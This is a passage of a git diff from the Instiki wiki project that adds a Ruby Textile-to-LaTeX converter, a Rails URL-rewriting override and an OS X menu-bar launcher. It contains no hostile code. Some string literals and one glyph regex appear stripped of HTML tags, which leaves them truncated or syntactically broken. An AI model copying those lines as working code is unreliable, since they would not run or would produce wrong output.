crucial aid to clear writing, +# this should be used at least once for each acronym in documents where they appear. +# +# To quickly define an acronym in Textile, place the full text in (parentheses) +# immediately following the acronym. +# +# Example: +# +# ACLU(American Civil Liberties Union) +# +# Will become: +# +# ACLU +# +# === Adding Tables +# +# In Textile, simple tables can be added by seperating each column by +# a pipe. +# +# |a|simple|table|row| +# |And|Another|table|row| +# +# Attributes are defined by style definitions in parentheses. +# +# table(border:1px solid black). +# (background:#ddd;color:red). |{}| | | | +# +# === Using RedCloth +# +# RedCloth is simply an extension of the String class, which can handle +# Textile formatting. Use it like a String and output HTML with its +# RedCloth#to_html method. +# +# doc = RedCloth.new " +# +# h2. Test document +# +# Just a simple test." +# +# puts doc.to_html + +class String + # + # Flexible HTML escaping + # + def texesc!( mode ) + gsub!( '&', '\\\\&' ) + gsub!( '%', '\%' ) + gsub!( '$', '\$' ) + end +end + + +def table_of_contents(text, pages) + text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+) (.*)$/m + tl,content = $~[1..2] + content.gsub! /[\[\]]/, "" + content.strip! + + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + + depth << tl unless depth.last == tl + + subsection_depth = [depth.length - 1, 2].min + + lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" + lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) + + lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 + + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) + end +end + +class RedClothForTex < String + + VERSION = '2.0.7' + + # + # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. + # (from PyTextile) + # + TEXTILE_TAGS = + + [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], + [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], + [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], + [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], + [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. + + collect! do |a, b| + [a.chr, ( b.zero? and "" or "&#{ b };" )] + end + + # + # Regular expressions to convert to HTML. + # + A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ + A_VLGN = /[\-^~]/ + C_CLAS = '(?:\([^)]+\))' + C_LNGE = '(?:\[[^\]]+\])' + C_STYL = '(?:\{[^}]+\})' + S_CSPN = '(?:\\\\\d+)' + S_RSPN = '(?:/\d+)' + A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" + S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" + C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" + # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) + PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' + + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # en dash + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + I_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right' + } + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + + QTAGS = [ + ['**', 'bf'], + ['*', 'bf'], + ['??', 'cite'], + ['-', 'del'], + ['__', 'underline'], + ['_', 'em'], + ['%', 'span'], + ['+', 'ins'], + ['^', 'sup'], + ['~', 'sub'] + ] + + def self.available? + if not defined? @@available + begin + @@available = system "pdflatex -version" + rescue Errno::ENOENT + @@available = false + end + end + @@available + end + + # + # Two accessor for setting security restrictions. + # + # This is a nice thing if you're using RedCloth for + # formatting in public places (e.g. Wikis) where you + # don't want users to abuse HTML for bad things. + # + # If +:filter_html+ is set, HTML which wasn't + # created by the Textile processor will be escaped. + # + # If +:filter_styles+ is set, it will also disable + # the style markup specifier. ('{color: red}') + # + attr_accessor :filter_html, :filter_styles + + # + # Accessor for toggling line folding. + # + # If +:fold_lines+ is set, single newlines will + # not be converted to break tags. + # + attr_accessor :fold_lines + + def initialize( string, restrictions = [] ) + restrictions.each { |r| method( "#{ r }=" ).call( true ) } + super( string ) + end + + # + # Generate tex. + # + def to_tex( lite = false ) + + # make our working copy + text = self.dup + + @urlrefs = {} + @shelf = [] + + # incoming_entities text + fix_entities text + clean_white_space text + + get_refs text + + no_textile text + + unless lite + lists text + table text + end + + glyphs text + + unless lite + fold text + block text + end + + retrieve text + encode_entities text + + text.gsub!(/\[\[(.*?)\]\]/, "\\1") + text.gsub!(/_/, "\\_") + text.gsub!( /<\/?notextile>/, '' ) + # text.gsub!( /x%x%/, '&' ) + # text.gsub!( /
      /, "
      \n" ) + text.strip! + text + + end + + def pgl( text ) + GLYPHS.each do |re, resub| + text.gsub! re, resub + end + end + + def pba( text_in, element = "" ) + + return '' unless text_in + + style = [] + text = text_in.dup + if element == 'td' + colspan = $1 if text =~ /\\(\d+)/ + rowspan = $1 if text =~ /\/(\d+)/ + style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN + end + + style << "#{ $1 };" if not @filter_styles and + text.sub!( /\{([^}]*)\}/, '' ) + + lang = $1 if + text.sub!( /\[([^)]+?)\]/, '' ) + + cls = $1 if + text.sub!( /\(([^()]+?)\)/, '' ) + + style << "padding-left:#{ $1.length }em;" if + text.sub!( /([(]+)/, '' ) + + style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) + + style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN + + cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ + + atts = '' + atts << " style=\"#{ style.join }\"" unless style.empty? + atts << " class=\"#{ cls }\"" unless cls.to_s.empty? + atts << " lang=\"#{ lang }\"" if lang + atts << " id=\"#{ id }\"" if id + atts << " colspan=\"#{ colspan }\"" if colspan + atts << " rowspan=\"#{ rowspan }\"" if rowspan + + atts + end + + def table( text ) + text << "\n\n" + text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| + + tatts, fullrow = $~[1..2] + tatts = pba( tatts, 'table' ) + rows = [] + + fullrow. + split( /\|$/m ). + delete_if { |x| x.empty? }. + each do |row| + + ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m + + cells = [] + row.split( '|' ).each do |cell| + ctyp = 'd' + ctyp = 'h' if cell =~ /^_/ + + catts = '' + catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ + + unless cell.strip.empty? + cells << "\t\t\t#{ cell }" + end + end + rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" + end + "\t\n#{ rows.join( "\n" ) }\n\t\n\n" + end + end + + def lists( text ) + text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m + tl,atts,content = $~[1..3] + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + unless depth.last == tl + depth << tl + atts = pba( atts ) + lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" + else + lines[line_id] = "\t\t\\item #{ content }" + end + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) + end + end + + def lT( text ) + text =~ /\#$/ ? 'enumerate' : 'itemize' + end + + def fold( text ) + text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) + # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
      ' }" ) + end + + def block( text ) + pre = false + find = ['bq','h[1-6]','fn\d+'] + + regexp_cue = [] + + lines = text.split( /\n/ ) + [' '] + new_text = + lines.collect do |line| + pre = true if line =~ /<(pre|notextile)>/i + find.each do |tag| + line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| + tag,atts,cite,content = $~[1..4] + + atts = pba( atts ) + + if tag =~ /fn(\d+)/ + # tag = 'p'; + # atts << " id=\"fn#{ $1 }\"" + regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] + content = "" + end + + if tag =~ /h([1-6])/ + section_type = "sub" * [$1.to_i - 1, 2].min + start = "\t\\#{section_type}section*{" + tend = "}" + end + + if tag == "bq" + cite = check_refs( cite ) + cite = " cite=\"#{ cite }\"" if cite + start = "\t\\begin{quotation}\n\\noindent {\\em "; + tend = "}\n\t\\end{quotation}"; + end + + "#{ start }#{ content }#{ tend }" + end unless pre + end + + #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

      \\1

      " ) + + #line.gsub!( "
      ", "\n" ) if pre + # pre = false if line =~ /<\/(pre|notextile)>/i + + line + end.join( "\n" ) + text.replace( new_text ) + regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } + end + + def span( text ) + QTAGS.each do |tt, ht| + ttr = Regexp::quote( tt ) + text.gsub!( + + /(^|\s|\>|[#{PUNCT}{(\[]) + #{ttr} + (#{C}) + (?::(\S+?))? + ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) + ([#{PUNCT}]*?) + #{ttr} + (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm + + ) do |m| + + start,atts,cite,content,tend = $~[1..5] + atts = pba( atts ) + atts << " cite=\"#{ cite }\"" if cite + + "#{ start }{\\#{ ht } #{ content }#{ tend }}" + + end + end + end + + def links( text ) + text.gsub!( / + ([\s\[{(]|[#{PUNCT}])? # $pre + " # start + (#{C}) # $atts + ([^"]+?) # $text + \s? + (?:\(([^)]+?)\)(?="))? # $title + ": + (\S+?) # $url + (\/)? # $slash + ([^\w\/;]*?) # $post + (?=\s|$) + /x ) do |m| + pre,atts,text,title,url,slash,post = $~[1..7] + + url = check_refs( url ) + + atts = pba( atts ) + atts << " title=\"#{ title }\"" if title + atts = shelve( atts ) if atts + + "#{ pre }#{ text }#{ post }" + end + end + + def get_refs( text ) + text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| + flag, url = $~[1..2] + @urlrefs[flag] = url + end + end + + def check_refs( text ) + @urlrefs[text] || text + end + + def image( text ) + text.gsub!( / + \! # opening + (\<|\=|\>)? # optional alignment atts + (#{C}) # optional style,class atts + (?:\. )? # optional dot-space + ([^\s(!]+?) # presume this is the src + \s? # optional space + (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title + \! # closing + (?::#{ HYPERLINK })? # optional href + /x ) do |m| + algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] + atts = pba( atts ) + atts << " align=\"#{ i_align( algn ) }\"" if algn + atts << " title=\"#{ title }\"" if title + atts << " alt=\"#{ title }\"" + # size = @getimagesize($url); + # if($size) $atts.= " $size[3]"; + + href = check_refs( href ) if href + url = check_refs( url ) + + out = '' + out << "" if href + out << "" + out << "#{ href_a1 }#{ href_a2 }" if href + + out + end + end + + def code( text ) + text.gsub!( / + (?:^|([\s\(\[{])) # 1 open bracket? + @ # opening + (?:\|(\w+?)\|)? # 2 language + (\S(?:[^\n]|\n(?!\n))*?) # 3 code + @ # closing + (?:$|([\]})])| + (?=[#{PUNCT}]{1,2}| + \s)) # 4 closing bracket? + /x ) do |m| + before,lang,code,after = $~[1..4] + lang = " language=\"#{ lang }\"" if lang + "#{ before }#{ code }
      #{ after }" + end + end + + def shelve( val ) + @shelf << val + " <#{ @shelf.length }>" + end + + def retrieve( text ) + @shelf.each_with_index do |r, i| + text.gsub!( " <#{ i + 1 }>", r ) + end + end + + def incoming_entities( text ) + ## turn any incoming ampersands into a dummy character for now. + ## This uses a negative lookahead for alphanumerics followed by a semicolon, + ## implying an incoming html entity, to be skipped + + text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) + end + + def encode_entities( text ) + ## Convert high and low ascii to entities. + # if $-K == "UTF-8" + # encode_high( text ) + # else + text.texesc!( :NoQuotes ) + # end + end + + def fix_entities( text ) + ## de-entify any remaining angle brackets or ampersands + text.gsub!( "\&", "&" ) + text.gsub!( "\%", "%" ) + end + + def clean_white_space( text ) + text.gsub!( /\r\n/, "\n" ) + text.gsub!( /\t/, '' ) + text.gsub!( /\n{3,}/, "\n\n" ) + text.gsub!( /\n *\n/, "\n\n" ) + text.gsub!( /"$/, "\" " ) + end + + def no_textile( text ) + text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, + '\1\2\3' ) + end + + def footnote_ref( text ) + text.gsub!( /\[([0-9]+?)\](\s)?/, + '\footnote{\1}\2') + #'\1\2' ) + end + + def inline( text ) + image text + links text + code text + span text + end + + def glyphs_deep( text ) + codepre = 0 + offtags = /(?:code|pre|kbd|notextile)/ + if text !~ /<.*>/ + # pgl text + footnote_ref text + else + used_offtags = {} + text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line| + tagline = ( line =~ /^<.*>/ ) + + ## matches are off if we're between ,
       etc.
      +                if tagline
      +                    if line =~ /<(#{ offtags })>/i
      +                        codepre += 1
      +                        used_offtags[$1] = true
      +                        line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      +                    elsif line =~ /<\/(#{ offtags })>/i
      +                        line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      +                        codepre -= 1 unless codepre.zero?
      +                        used_offtags = {} if codepre.zero?
      +                    elsif @filter_html or codepre > 0
      +                        line.texesc!( :NoQuotes )
      +                        ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      +                    end 
      +                ## do htmlspecial if between 
      +                elsif codepre > 0
      +                    line.texesc!( :NoQuotes )
      +                    ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      +                elsif not tagline
      +                    inline line
      +                    glyphs_deep line
      +                end
      +
      +                line
      +            end
      +        end
      +    end
      +
      +    def glyphs( text ) 
      +        text.gsub!( /"\z/, "\" " )
      +        ## if no html, do a simple search and replace...
      +        if text !~ /<.*>/
      +            inline text
      +        end
      +        glyphs_deep text
      +    end
      +
      +    def i_align( text )
      +        I_ALGN_VALS[text]
      +    end
      +
      +    def h_align( text ) 
      +        H_ALGN_VALS[text]
      +    end
      +
      +    def v_align( text ) 
      +        V_ALGN_VALS[text]
      +    end
      +
      +    def encode_high( text )
      +        ## mb_encode_numericentity($text, $cmap, $charset);
      +    end
      +
      +    def decode_high( text )
      +        ## mb_decode_numericentity($text, $cmap, $charset);
      +    end
      +
      +    def textile_popup_help( name, helpvar, windowW, windowH )
      +        ' ' + name + '
      ' + end + + CMAP = [ + 160, 255, 0, 0xffff, + 402, 402, 0, 0xffff, + 913, 929, 0, 0xffff, + 931, 937, 0, 0xffff, + 945, 969, 0, 0xffff, + 977, 978, 0, 0xffff, + 982, 982, 0, 0xffff, + 8226, 8226, 0, 0xffff, + 8230, 8230, 0, 0xffff, + 8242, 8243, 0, 0xffff, + 8254, 8254, 0, 0xffff, + 8260, 8260, 0, 0xffff, + 8465, 8465, 0, 0xffff, + 8472, 8472, 0, 0xffff, + 8476, 8476, 0, 0xffff, + 8482, 8482, 0, 0xffff, + 8501, 8501, 0, 0xffff, + 8592, 8596, 0, 0xffff, + 8629, 8629, 0, 0xffff, + 8656, 8660, 0, 0xffff, + 8704, 8704, 0, 0xffff, + 8706, 8707, 0, 0xffff, + 8709, 8709, 0, 0xffff, + 8711, 8713, 0, 0xffff, + 8715, 8715, 0, 0xffff, + 8719, 8719, 0, 0xffff, + 8721, 8722, 0, 0xffff, + 8727, 8727, 0, 0xffff, + 8730, 8730, 0, 0xffff, + 8733, 8734, 0, 0xffff, + 8736, 8736, 0, 0xffff, + 8743, 8747, 0, 0xffff, + 8756, 8756, 0, 0xffff, + 8764, 8764, 0, 0xffff, + 8773, 8773, 0, 0xffff, + 8776, 8776, 0, 0xffff, + 8800, 8801, 0, 0xffff, + 8804, 8805, 0, 0xffff, + 8834, 8836, 0, 0xffff, + 8838, 8839, 0, 0xffff, + 8853, 8853, 0, 0xffff, + 8855, 8855, 0, 0xffff, + 8869, 8869, 0, 0xffff, + 8901, 8901, 0, 0xffff, + 8968, 8971, 0, 0xffff, + 9001, 9002, 0, 0xffff, + 9674, 9674, 0, 0xffff, + 9824, 9824, 0, 0xffff, + 9827, 9827, 0, 0xffff, + 9829, 9830, 0, 0xffff, + 338, 339, 0, 0xffff, + 352, 353, 0, 0xffff, + 376, 376, 0, 0xffff, + 710, 710, 0, 0xffff, + 732, 732, 0, 0xffff, + 8194, 8195, 0, 0xffff, + 8201, 8201, 0, 0xffff, + 8204, 8207, 0, 0xffff, + 8211, 8212, 0, 0xffff, + 8216, 8218, 0, 0xffff, + 8218, 8218, 0, 0xffff, + 8220, 8222, 0, 0xffff, + 8224, 8225, 0, 0xffff, + 8240, 8240, 0, 0xffff, + 8249, 8250, 0, 0xffff, + 8364, 8364, 0, 0xffff + ] +end + diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb new file mode 100755 index 00000000..72160cb7 --- /dev/null +++ b/libraries/url_rewriting_hack.rb @@ -0,0 +1,75 @@ +# Below are some hacks to Rails internal classes that implement Instiki URLs scheme. +# It is no doubt a bad practice to override internal implementation of anything. +# When Rails implements some way to do it in the framework, this code should be replaced +# with something more legitimate. + +# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular +# web (sub-wiki) and page within that web. +# +# 1. Controller is always 'wiki' +# 2. '/name1/' maps to action 'name1', unspecified web +# Example: http://localhost/new_system/ +# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address +# when default controller name is specified as 'wiki', and an application root +# (http://localhost:2500/)is requested. +# 4. '/name1/name2/' maps to web 'name1', action 'name2' +# Example: http://localhost/mywiki/search/ +# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2', +# Example: http://localhost/mywiki/show/HomePage + + +require 'dispatcher' + +# Overrides Rails DispatchServlet.parse_uri +class DispatchServlet + + def self.parse_uri(path) + ApplicationController.logger.debug "Parsing URI '#{path}'" + component = /([-_a-zA-Z0-9]+)/ + case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") + when '/wiki/' + { :web => nil, :controller => 'wiki', :action => 'index' } + when %r{^/#{component}/?$} + { :web => nil, :controller => 'wiki', :action => $1 } + when %r{^/#{component}/#{component}/?$} + { :web => $1, :controller => 'wiki', :action => $2 } + when %r{^/#{component}/#{component}/#{component}/?$} + { :web => $1, :controller => 'wiki', :action => $2, :id => $3 } + else + false + end + end + +end + + +require 'action_controller/url_rewriter.rb' + +# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme +module ActionController + class UrlRewriter + + VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web + + private + + def resolve_aliases(options) + options[:controller_prefix] = options[:web] unless options[:web].nil? + options + end + + def controller_name(options, controller_prefix) + ensure_slash_suffix(options, :controller_prefix) + + controller_name = case options[:controller_prefix] + when String: options[:controller_prefix] + when false : "" + when nil : controller_prefix || "" + end + # In Instiki we don't need the controller name (there is only one comtroller, anyway) + # therefore the below line is commented out + # controller_name << (options[:controller] + "/") if options[:controller] + return controller_name + end + end +end diff --git a/natives/osx/desktop_launcher/AppDelegate.h b/natives/osx/desktop_launcher/AppDelegate.h new file mode 100755 index 00000000..a50769f5 --- /dev/null +++ b/natives/osx/desktop_launcher/AppDelegate.h @@ -0,0 +1,18 @@ +/* AppDelegate */ + +#import + +@interface AppDelegate : NSObject +{ + IBOutlet NSMenu* statusMenu; + NSTask* serverCommand; + int processID; + BOOL shouldOpenUntitled; + + NSNetService* service; +} +- (IBAction)about:(id)sender; +- (IBAction)goToHomepage:(id)sender; +- (IBAction)goToInstikiOrg:(id)sender; +- (IBAction)quit:(id)sender; +@end diff --git a/natives/osx/desktop_launcher/AppDelegate.mm b/natives/osx/desktop_launcher/AppDelegate.mm new file mode 100755 index 00000000..8e0435a2 --- /dev/null +++ b/natives/osx/desktop_launcher/AppDelegate.mm @@ -0,0 +1,109 @@ +#include +#include +#import "AppDelegate.h" + +int launch_ruby (char const* cmd) +{ + int pId, parentID = getpid(); + if((pId = fork()) == 0) // child + { + NSLog(@"set child (%d) to pgrp %d", getpid(), parentID); + setpgrp(0, parentID); + system(cmd); + return 0; + } + else // parent + { + NSLog(@"started child process: %d", pId); + return pId; + } +} + +@implementation AppDelegate + +- (NSString*)storageDirectory +{ + NSString* dir = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/Instiki"]; + [[NSFileManager defaultManager] createDirectoryAtPath:dir attributes:nil]; + return dir; +} + +- (void)awakeFromNib +{ + setpgrp(0, getpid()); + + if([[[[NSBundle mainBundle] infoDictionary] objectForKey:@"LSUIElement"] isEqualToString:@"1"]) + { + NSStatusBar* bar = [NSStatusBar systemStatusBar]; + NSStatusItem* item = [[bar statusItemWithLength:NSVariableStatusItemLength] retain]; + [item setTitle:@"Wiki"]; + [item setHighlightMode:YES]; + [item setMenu:statusMenu]; + } + + NSBundle* bundle = [NSBundle bundleForClass:[self class]]; + NSString* ruby = [bundle pathForResource:@"ruby" ofType:nil]; + NSString* script = [[bundle resourcePath] stringByAppendingPathComponent:@"rb_src/instiki.rb"]; + if(ruby && script) + { + NSString* cmd = [NSString stringWithFormat: + @"%@ -I '%@' -I '%@' '%@' -s --storage='%@'", + ruby, + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8"], + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8/powerpc-darwin"], + script, + [self storageDirectory] + ]; + NSLog(@"starting %@", cmd); + processID = launch_ruby([cmd UTF8String]); + } + + /* public the service using rendezvous */ + service = [[NSNetService alloc] + initWithDomain:@"" // default domain + type:@"_http._tcp." + name:[NSString stringWithFormat:@"%@'s Instiki", NSFullUserName()] + port:2500]; + [service publish]; +} + +- (void)applicationWillTerminate:(NSNotification*)aNotification +{ + [service stop]; + [service release]; + + kill(0, SIGTERM); +} + +- (IBAction)about:(id)sender +{ + [NSApp activateIgnoringOtherApps:YES]; + [NSApp orderFrontStandardAboutPanel:self]; +} + +- (IBAction)goToHomepage:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://localhost:2500/"]]; +} + +- (IBAction)goToInstikiOrg:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://www.instiki.org/"]]; +} + +- (BOOL)applicationShouldOpenUntitledFile:(NSApplication*)sender +{ + return shouldOpenUntitled ?: (shouldOpenUntitled = YES, NO); +} + +- (BOOL)applicationOpenUntitledFile:(NSApplication*)theApplication +{ + return [self goToHomepage:self], YES; +} + +- (IBAction)quit:(id)sender +{ + [NSApp terminate:self]; +} + +@end diff --git a/natives/osx/desktop_launcher/Credits.html b/natives/osx/desktop_launcher/Credits.html new file mode 100755 index 00000000..dfc9053c --- /dev/null +++ b/natives/osx/desktop_launcher/Credits.html @@ -0,0 +1,16 @@ +
      +
      Engineering:
      +
      Some people
      + +
      Human Interface Design:
      +
      Some other people
      + +
      Testing:
      +
      Hopefully not nobody
      + +
      Documentation:
      +
      Whoever
      + +
      With special thanks to:
      +
      Mom
      +
      \ No newline at end of file diff --git a/natives/osx/desktop_launcher/English.lproj/.cvsignore b/natives/osx/desktop_launcher/English.lproj/.cvsignore new file mode 100755 index 00000000..7f2202d4 --- /dev/null +++ b/natives/osx/desktop_launcher/English.lproj/.cvsignore @@ -0,0 +1,2 @@ +*~.nib + diff --git a/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings b/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings new file mode 100755 index 00000000..9ead5aa9 Binary files /dev/null and b/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings differ diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib new file mode 100755 index 00000000..368a876f --- /dev/null +++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib @@ -0,0 +1,13 @@ +{ + IBClasses = ( + { + ACTIONS = {about = id; goToHomepage = id; goToInstikiOrg = id; quit = id; }; + CLASS = AppDelegate; + LANGUAGE = ObjC; + OUTLETS = {statusMenu = NSMenu; }; + SUPERCLASS = NSObject; + }, + {CLASS = FirstResponder; LANGUAGE = ObjC; SUPERCLASS = NSObject; } + ); + IBVersion = 1; +} \ No newline at end of file diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib new file mode 100755 index 00000000..6383ba8f --- /dev/null +++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib @@ -0,0 +1,24 @@ + + + + + IBDocumentLocation + 109 6 356 240 0 0 1440 878 + IBEditorPositions + + 206 + 112 300 116 87 0 0 1440 878 + 29 + 241 316 70 44 0 0 1440 878 + + IBFramework Version + 349.0 + IBOpenObjects + + 206 + 29 + + IBSystem Version + 7H63 + + diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib new file mode 100755 index 00000000..e78d3042 Binary files /dev/null and b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib differ diff --git a/natives/osx/desktop_launcher/Info.plist b/natives/osx/desktop_launcher/Info.plist new file mode 100755 index 00000000..723bf68a --- /dev/null +++ b/natives/osx/desktop_launcher/Info.plist @@ -0,0 +1,13 @@ +{ + CFBundleDevelopmentRegion = English; + CFBundleExecutable = Instiki; + CFBundleIconFile = ""; + CFBundleIdentifier = "com.nextangle.instiki"; + CFBundleInfoDictionaryVersion = "6.0"; + CFBundlePackageType = APPL; + CFBundleSignature = WIKI; + CFBundleVersion = "0.9.0"; + LSUIElement = 1; + NSMainNibFile = MainMenu; + NSPrincipalClass = NSApplication; +} \ No newline at end of file diff --git a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj new file mode 100755 index 00000000..9b9bb292 --- /dev/null +++ b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj @@ -0,0 +1,592 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 39; + objects = { + 080E96DDFE201D6D7F000001 = { + children = ( + 174B2765065CE31400ED6208, + 174B2766065CE31400ED6208, + ); + isa = PBXGroup; + name = Classes; + refType = 4; + sourceTree = ""; + }; + 089C165CFE840E0CC02AAC07 = { + children = ( + 089C165DFE840E0CC02AAC07, + ); + isa = PBXVariantGroup; + name = InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; + 089C165DFE840E0CC02AAC07 = { + fileEncoding = 10; + isa = PBXFileReference; + lastKnownFileType = text.plist.strings; + name = English; + path = English.lproj/InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; +//080 +//081 +//082 +//083 +//084 +//100 +//101 +//102 +//103 +//104 + 1058C7A0FEA54F0111CA2CBB = { + children = ( + 